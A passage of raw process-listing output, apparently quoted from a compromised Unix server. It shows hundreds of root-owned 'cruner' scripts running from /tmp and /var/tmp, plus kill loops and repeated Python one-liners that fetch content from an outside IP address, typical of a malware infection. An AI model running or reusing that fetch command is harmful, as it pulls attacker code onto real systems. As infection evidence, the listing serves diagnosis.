0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10711 2755 0 15:46:07 ? 0:00 xargs kill -9 > root 23800 15943 0 15:46:01 ? 0:00 bash -sh > root 16851 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7120 18136 0 - ? 0:00 <defunct> > root 10992 20554 0 15:45:55 ? 0:00 bash -sh > root 6298 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 16272 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9485 24772 0 15:45:59 ? 0:00 sleep 60 > root 5178 17160 0 - ? 0:00 <defunct> > root 21707 1 0 19:26:40 ? 0:01 sh /var/tmp/cruner > root 14349 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8884 29674 0 - ? 0:00 <defunct> > root 5266 21368 0 15:44:13 ? 0:00 bash -sh > root 26931 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16249 2724 0 - ? 0:00 <defunct> > root 29624 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7445 12239 0 15:45:36 ? 0:00 bash -sh > root 19322 19551 0 15:44:26 ? 0:00 bash -sh > root 23623 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27199 29658 0 - ? 0:00 <defunct> > root 6333 16419 0 15:46:06 ? 0:00 sh /var/tmp/cruner > root 11247 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 14654 12916 0 15:44:35 ? 0:00 bash -sh > root 22189 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24787 25479 0 - ? 0:00 <defunct> > root 1881 11874 0 15:45:19 ? 0:00 sleep 60 > root 21310 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9999 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10670 21525 0 15:46:07 ? 0:00 sleep 60 > root 3799 28725 0 - ? 0:00 <defunct> > root 29108 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15055 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 3604 11839 0 15:45:48 ? 0:00 sh /var/tmp/cruner > root 11922 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23614 4491 0 15:46:01 ? 0:00 bash -sh > root 9233 5572 0 15:44:51 ? 0:00 bash -sh > root 27721 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11823 14647 0 15:45:41 ? 0:00 bash -sh > root 1014 17376 0 15:45:48 ? 0:00 sleep 60 > root 17296 20780 0 - ? 0:00 <defunct> > root 18077 10505 0 15:46:09 ? 0:00 sleep 60 > root 20773 19232 0 15:44:18 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28275 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20910 6451 0 15:45:52 ? 0:00 bash -sh > root 9381 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18438 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 18686 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13824 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 2904 18716 0 15:45:53 ? 0:00 bash -sh > root 15518 14563 0 15:45:22 ? 0:00 sleep 60 > root 10410 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2821 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5118 29277 0 15:43:42 ? 0:00 bash -sh > root 15307 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21625 3793 0 15:46:09 ? 0:00 sleep 60 > root 24021 14688 0 15:43:23 ? 0:00 bash -sh > root 29563 10979 0 15:45:58 ? 0:00 sleep 60 > root 19595 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19811 20533 0 15:46:09 ? 0:00 xargs kill -9 > root 759 23195 0 - ? 0:00 <defunct> > root 17146 10726 0 - ? 0:00 <defunct> > root 20717 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 18257 25479 0 - ? 0:00 <defunct> > root 8189 18903 0 15:45:10 ? 0:00 bash -sh > root 27660 17325 0 - ? 0:00 <defunct> > root 19435 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12963 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8449 19017 0 15:45:20 ? 0:00 sleep 60 > root 4436 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19676 23460 0 - ? 0:00 <defunct> > root 14401 19947 0 15:45:45 ? 0:00 bash -sh > root 14907 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7069 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 20882 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15769 9158 0 15:45:16 ? 0:00 sleep 60 > root 15758 21252 0 15:45:46 ? 0:00 bash -sh > root 11850 11783 0 - ? 0:00 <defunct> > root 29355 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 26953 3091 0 15:45:57 ? 0:00 sleep 60 > root 29304 11877 0 15:45:47 ? 0:00 sh /tmp/cruner > root 12430 10803 0 15:46:08 ? 0:00 bash -sh > root 23188 1 0 18:08:36 ? 0:01 sh /var/tmp/cruner > root 2490 10672 0 15:45:35 ? 0:00 bash -sh > root 27260 7436 0 15:46:02 ? 0:00 sleep 60 > root 8798 7140 0 15:44:14 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7483 27585 0 - ? 0:00 <defunct> > root 4162 904 0 15:46:06 ? 0:00 sleep 60 > root 23288 29899 0 15:46:01 ? 0:00 bash -sh > root 7320 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 2459 11228 0 15:45:19 ? 0:00 sleep 60 > root 21198 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21995 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20763 20750 0 15:45:12 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6231 1 0 21:04:39 ? 0:00 sh /var/tmp/cruner > root 27442 19644 0 15:45:53 ? 0:00 sleep 60 > root 9795 9710 0 15:45:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11409 24768 0 15:43:26 ? 0:00 bash -sh > root 29191 20977 0 15:44:55 ? 0:00 bash -sh > root 11905 2116 0 15:46:07 ? 0:00 sleep 60 > root 13470 16528 0 15:46:04 ? 0:00 sleep 60 > root 5615 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24643 1277 0 15:43:35 ? 0:00 bash -sh > root 7848 12744 0 15:44:34 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 4307 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27183 11203 0 15:45:47 ? 0:00 sleep 60 > root 12762 14329 0 15:45:50 ? 0:00 bash -sh > root 14686 10408 0 15:45:29 ? 0:00 sleep 60 > root 4736 26790 0 15:46:06 ? 0:00 sleep 60 > root 19173 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 25147 11989 0 15:45:57 ? 0:00 xargs kill -9 > root 13832 1584 0 - ? 0:00 <defunct> > root 7154 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19572 19565 0 15:46:09 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5661 22457 0 15:46:06 ? 0:00 bash -sh > root 23373 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27114 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 8557 9172 0 15:46:07 ? 0:00 bash -sh > root 14176 14854 0 15:46:08 ? 0:00 sed -e s/\/.*//g > root 17484 13187 0 15:44:52 ? 0:00 bash -sh > root 4406 16491 0 15:44:23 ? 0:00 bash -sh > root 21800 21754 0 15:45:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19262 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 29517 7794 0 15:45:48 ? 0:00 bash -sh > root 18287 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 17043 15643 0 15:43:21 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 12160 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1216 19822 0 - ? 0:00 <defunct> > root 17899 3299 0 - ? 0:00 <defunct> > root 17099 19783 0 15:45:32 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 3171 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21713 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 25117 23549 0 - ? 0:00 <defunct> > root 18198 29838 0 15:45:42 ? 0:00 bash -sh > root 22828 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22644 24849 0 15:43:57 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14472 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17737 16767 0 15:45:12 ? 0:00 sleep 60 > root 16284 14636 0 15:45:22 ? 0:00 sleep 60 > root 29314 5306 0 15:45:57 ? 0:00 sleep 60 > root 8744 5566 0 15:46:07 ? 0:00 sleep 60 > root 28122 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21457 21455 0 15:44:53 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 19927 28299 0 15:46:00 ? 0:00 sleep 60 > root 3943 3897 0 15:45:40 ? 0:00 /bin/ksh -p /bin/kill -9 > root 6273 11508 0 15:45:20 ? 0:00 sleep 60 > root 13749 9365 0 15:45:16 ? 0:00 sleep 60 > root 21963 7085 0 15:45:06 ? 0:00 bash -sh > root 17896 17504 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 27565 27488 0 15:45:43 ? 0:00 /bin/ksh -p /bin/kill -9 > root 14527 25219 0 - ? 0:00 <defunct> > root 16727 16712 0 - ? 0:00 <defunct> > root 25508 2976 0 - ? 0:00 <defunct> > root 23285 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 22192 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11393 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2340 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19729 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21194 14801 0 15:45:42 ? 0:00 sleep 60 > root 26925 19455 0 - ? 0:00 <defunct> > root 14787 10098 0 - ? 0:00 <defunct> > root 8713 9296 0 15:46:07 ? 0:00 sleep 60 > root 11198 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20962 4235 0 - ? 0:00 <defunct> > root 976 969 0 15:44:33 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11121 18607 0 15:44:51 ? 0:00 bash -sh > root 25944 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29446 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 25065 9658 0 - ? 0:00 <defunct> > root 5854 548 0 15:45:28 ? 0:00 sleep 60 > root 2293 7316 0 15:45:58 ? 0:00 sleep 60 > root 16368 150 0 15:45:46 ? 0:00 bash -sh > root 13327 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5343 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 20573 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 24754 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 29180 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13410 9091 0 - ? 0:00 <defunct> > root 27471 29993 0 15:45:18 ? 0:00 sleep 60 > root 22512 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5555 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 17095 17093 0 - ? 0:00 <defunct> > root 7106 13257 0 15:46:07 ? 0:00 sh /var/tmp/cruner > root 644 18476 0 15:46:06 ? 0:00 bash -sh > root 24785 11774 0 - ? 0:00 <defunct> > root 1044 13153 0 15:45:48 ? 0:00 sleep 60 > root 8370 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4522 26289 0 - ? 0:00 <defunct> > root 23857 22506 0 15:46:10 ? 0:00 /bin/ksh -p /bin/kill -9 > root 14207 24736 0 15:45:11 ? 0:00 sleep 60 > root 6002 11096 0 15:45:20 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 5406 823 0 15:45:54 ? 0:00 bash -sh > root 16801 20265 0 15:45:29 ? 0:00 bash -sh > root 19332 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 15796 15795 0 - ? 0:00 <defunct> > root 9604 4240 0 15:45:41 ? 0:00 /bin/ksh -p /bin/kill -9 > root 6923 29669 0 15:45:58 ? 0:00 sh /var/tmp/cruner > root 16324 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9387 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10840 2592 0 15:45:50 ? 0:00 bash -sh > root 12938 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 6371 14076 0 15:46:06 ? 0:00 bash -sh > root 12030 11976 0 15:45:41 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9355 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 29527 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 24406 20755 0 15:45:47 ? 0:00 sleep 60 > root 25648 28315 0 - ? 0:00 <defunct> > root 24249 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 18503 16980 0 15:45:42 ? 0:00 xargs kill -9 > root 26997 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 27932 17722 0 15:45:43 ? 0:00 sh /tmp/cruner > root 6056 6037 0 15:46:06 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23227 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 29967 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13984 26011 0 15:43:56 ? 0:00 bash -sh > root 18364 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9272 1681 0 15:46:07 ? 0:00 sleep 60 > root 3654 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 16627 15770 0 15:44:06 ? 0:00 bash -sh > root 7300 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 27340 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 26986 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10361 3711 0 - ? 0:00 <defunct> > root 9049 22946 0 15:45:40 ? 0:00 bash -sh > root 14482 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 7374 21676 0 15:45:09 ? 0:00 bash -sh > root 11495 10063 0 15:45:55 ? 0:00 bash -sh > root 22010 24928 0 15:46:01 ? 0:00 sleep 60 > root 20810 3601 0 15:45:17 ? 0:00 sleep 60 > root 1242 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 23181 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 2716 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 21676 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 2000 10348 0 15:46:02 ? 0:00 sleep 60 > root 7439 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15486 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28918 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10649 5927 0 15:44:51 ? 0:00 bash -sh > root 29633 1 0 Oct 06 ? 0:01 sh /tmp/cruner > root 12367 11536 0 15:45:36 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13720 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 18801 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1659 2944 0 - ? 0:00 <defunct> > root 22742 22523 0 15:45:42 ? 0:00 /bin/ksh -p /bin/kill -9 > root 29559 17379 0 15:45:34 ? 0:00 sleep 60 > root 18246 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 11594 1078 0 15:45:10 ? 0:00 bash -sh > root 14367 3922 0 15:44:16 ? 0:00 bash -sh > root 19205 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 17124 23441 0 15:45:22 ? 0:00 sleep 60 > root 11302 9148 0 15:45:55 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 6018 22335 0 15:45:20 ? 0:00 sleep 60 > root 3560 3500 0 15:45:24 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 13652 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 10595 10618 0 15:46:07 ? 0:00 sleep 60 > root 22781 7618 0 15:45:17 ? 0:00 sleep 60 > root 8523 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 20132 16575 0 - ? 0:00 <defunct> > root 16145 24469 0 15:46:08 ? 0:00 bash -sh > root 3428 20603 0 15:46:06 ? 0:00 sleep 60 > root 19928 8489 0 - ? 0:00 <defunct> > root 29005 12284 0 15:44:55 ? 0:00 bash -sh > root 16675 14601 0 15:46:00 ? 0:00 sh /var/tmp/cruner > root 26283 15429 0 15:45:43 ? 0:00 sleep 60 > root 27297 10932 0 15:46:02 ? 0:00 sleep 60 > root 3920 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 16226 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 21962 12383 0 15:45:02 ? 0:00 bash -sh > root 13631 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12764 11191 0 15:44:25 ? 0:00 bash -sh > root 14624 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 24999 9254 0 15:46:05 ? 0:00 sleep 60 > root 2720 19194 0 15:45:19 ? 0:00 sleep 60 > root 11558 26215 0 15:45:36 ? 0:00 bash -sh > root 29745 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 1480 1 0 20:02:34 ? 0:00 sh /var/tmp/cruner > root 27144 27079 0 15:45:07 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28350 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 23398 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 9891 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6238 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 23770 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 17459 8634 0 15:45:22 ? 0:00 bash -sh > root 12581 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5929 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 9986 9976 0 - ? 0:00 <defunct> > root 20484 21265 0 15:46:09 ? 0:00 sleep 60 > root 3733 7670 0 - ? 0:00 <defunct> > root 21710 21704 0 15:44:53 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 28461 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 873 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 5902 25130 0 15:45:31 ? 0:00 sleep 60 > root 877 21776 0 - ? 0:00 <defunct> > root 6407 14921 0 15:45:20 ? 0:00 sleep 60 > root 11628 1 0 23:14:02 ? 0:00 sh /var/tmp/cruner > root 14734 29187 0 15:46:08 ? 0:00 xargs kill -9 > root 26369 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4102 19556 0 15:46:06 ? 0:00 sleep 60 > root 913 27841 0 15:45:31 ? 0:00 bash -sh > root 18552 194 0 15:45:37 ? 0:00 bash -sh > root 26815 8019 0 - ? 0:00 <defunct> > root 28347 16164 0 - ? 0:00 <defunct> > root 23083 14324 0 15:46:09 ? 0:00 bash -sh > root 22958 11004 0 15:45:13 ? 0:00 sleep 60 > root 8555 5538 0 15:46:07 ? 0:00 sh /tmp/cruner > root 20670 12772 0 15:45:17 ? 0:00 sleep 60 > root 25543 14708 0 15:45:13 ? 0:00 bash -sh > root 13926 12602 0 15:45:59 ? 0:00 bash -sh > root 29292 18579 0 15:45:30 ? 0:00 bash -sh > root 23017 1308 0 15:46:09 ? 0:00 bash -sh > root 17256 17244 0 15:44:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 287 19595 0 15:46:02 ? 0:00 bash -sh > root 20459 29849 0 15:44:53 ? 0:00 bash -sh > root 19420 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 10927 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11774 29843 0 15:44:04 ? 0:00 bash -sh > root 26497 27416 0 - ? 0:00 <defunct> > root 1860 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 28258 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 16551 8443 0 15:46:00 ? 0:00 xargs kill -9 > root 5791 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 16719 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 525 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8429 25838 0 15:46:07 ? 0:00 sleep 60 > root 26130 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 1333 1 0 20:06:24 ? 0:00 sh /var/tmp/cruner > root 20056 1 0 22:58:35 ? 0:00 sh /var/tmp/cruner > root 23737 15031 0 15:46:05 ? 0:00 sleep 60 > root 24822 10130 0 - ? 0:00 <defunct> > root 4711 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 10290 18315 0 15:43:51 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 17663 17641 0 - ? 0:00 <defunct> > root 1255 1238 0 - ? 0:00 <defunct> > root 26998 19979 0 15:42:44 ? 0:00 bash -sh > root 25598 18977 0 - ? 0:00 <defunct> > root 5309 5857 0 15:45:49 ? 0:00 bash -sh > root 18822 21855 0 - ? 0:00 <defunct> > root 17858 17819 0 - ? 0:00 <defunct> > root 13558 1049 0 15:45:11 ? 0:00 sleep 60 > root 4818 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2849 11390 0 - ? 0:00 <defunct> > root 10866 15572 0 15:45:28 ? 0:00 sleep 60 > root 26118 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 5223 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19128 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 11546 11600 0 15:44:56 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 29974 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 28308 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4265 26848 0 15:45:35 ? 0:00 sleep 60 > root 24573 3473 0 - ? 0:00 <defunct> > root 14688 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 17337 17326 0 15:44:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 1975 24098 0 15:45:19 ? 0:00 sleep 60 > root 6156 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 19992 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 7685 13536 0 - ? 0:00 <defunct> > root 17501 12433 0 15:45:42 ? 0:00 sleep 60 > root 27860 22879 0 15:45:14 ? 0:00 sleep 60 > root 25 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 13294 27578 0 15:46:04 ? 0:00 sleep 60 > root 8881 12497 0 15:45:58 ? 0:00 sleep 60 > root 13394 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 19874 19861 0 15:45:38 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 299 27320 0 15:45:34 ? 0:00 sleep 60 > root 11109 14627 0 15:45:10 ? 0:00 bash -sh > root 2010 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 4930 6896 0 15:45:09 ? 0:00 bash -sh > root 21037 5012 0 - ? 0:00 <defunct> > root 6658 17357 0 15:45:35 ? 0:00 sleep 60 > root 18517 2359 0 15:45:42 ? 0:00 sleep 60 > root 9498 14019 0 15:45:15 ? 0:00 bash -sh > root 17322 18210 0 - ? 0:00 <defunct> > root 7005 3114 0 15:45:35 ? 0:00 sleep 60 > root 26062 3537 0 - ? 0:00 <defunct> > root 1194 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 8870 21564 0 15:45:25 ? 0:00 xargs kill -9 > root 21243 14372 0 15:45:17 ? 0:00 sleep 60 > root 16267 22605 0 15:45:42 ? 0:00 bash -sh > root 9815 7490 0 15:45:41 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 11727 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 2145 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4061 2014 0 15:45:48 ? 0:00 xargs kill -9 > root 5284 27702 0 15:45:24 ? 0:00 xargs kill -9 > root 27366 7949 0 15:44:41 ? 0:00 bash -sh > root 28398 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12032 11769 0 15:45:59 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 7529 10913 0 15:46:07 ? 0:00 bash -sh > root 10399 10218 0 15:45:10 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14001 13408 0 15:46:08 ? 0:00 sleep 60 > root 8096 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 25175 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 8084 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 9528 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6297 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 12845 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 8068 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 3990 28270 0 15:45:48 ? 0:00 sleep 60 > root 18855 21667 0 - ? 0:00 <defunct> > root 26780 23094 0 - ? 0:00 <defunct> > root 26466 20055 0 15:45:47 ? 0:00 sleep 60 > root 2130 26954 0 15:45:48 ? 0:00 sleep 60 > root 16716 8797 0 - ? 0:00 <defunct> > root 9471 27961 0 15:46:07 ? 0:00 xargs kill -9 > root 15176 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 322 4941 0 15:45:58 ? 0:00 sleep 60 > root 11446 1 0 07:47:15 ? 0:00 sh /var/tmp/cruner > root 12707 22547 0 - ? 0:00 <defunct> > root 22548 23449 0 15:45:06 ? 0:00 bash -sh > root 20177 20164 0 15:45:52 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 14699 12856 0 15:45:37 ? 0:00 sleep 60 > root 26743 21673 0 - ? 0:00 <defunct> > root 19256 19227 0 15:45:29 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 18365 22607 0 - ? 0:00 <defunct> > root 25312 18648 0 15:44:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 9984 29419 0 15:45:15 ? 0:00 bash -sh > root 10081 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 4315 11145 0 - ? 0:00 <defunct> > root 7742 1582 0 15:45:20 ? 0:00 sleep 60 > root 8859 6762 0 15:44:14 ? 0:00 bash -sh > root 7343 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27127 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27591 9619 0 15:45:27 ? 0:00 sleep 60 > root 17336 26845 0 15:45:42 ? 0:00 sleep 60 > root 901 18256 0 15:45:19 ? 0:00 bash -sh > root 17299 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 27718 1 0 Oct 05 ? 0:02 sh /tmp/cruner > root 11469 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 2185 2179 0 - ? 0:00 <defunct> > root 10142 13509 0 15:45:41 ? 0:00 bash -sh > root 8714 13664 0 15:45:49 ? 0:00 xargs kill -9 > root 1537 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 7876 17912 0 - ? 0:00 <defunct> > root 24277 24253 0 15:44:58 ? 0:00 python -c import urllib2 as fbi;print fbi.urlopen("http://209.141.40.190/xms"). > root 23748 23548 0 - ? 0:00 <defunct> > root 4572 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 12328 13358 0 15:45:21 ? 0:00 sleep 60 > root 27891 15676 0 15:45:18 ? 0:00 sleep 60 > root 9099 10568 0 15:45:41 ? 0:00 bash -sh > root 12441 14266 0 15:44:15 ? 0:00 bash -sh > root 29763 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 11665 1 0 Oct 05 ? 0:01 sh /var/tmp/cruner > root 6524 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 4085 24411 0 15:44:42 ? 0:00 bash -sh > root 16147 16131 0 15:46:00 ? 0:00 /bin/ksh -p /bin/kill -9 > root 4993 1 0 Oct 05 ? 0:02 sh /var/tmp/cruner > root 9050 8667 0 15:45:28 ? 0:00 bash -sh > root 22882 1 0 Oct 05 ? 0:01 sh /tmp/cruner > root 15919 1 0 Oct 06 ? 0:01 sh /var/tmp/cruner > root 27819 3358 0 15:45:57 ? 0:00 sleep 60 > root 21124 3197 0 - ? 0:00 <defunct> > root 6747 18281 0 15:45:40 ? 0:00 sleep 60 > root 12234 21930 0 15:46:04 ? 0:00 bash -sh > root 12693 4526 0 15:45:11 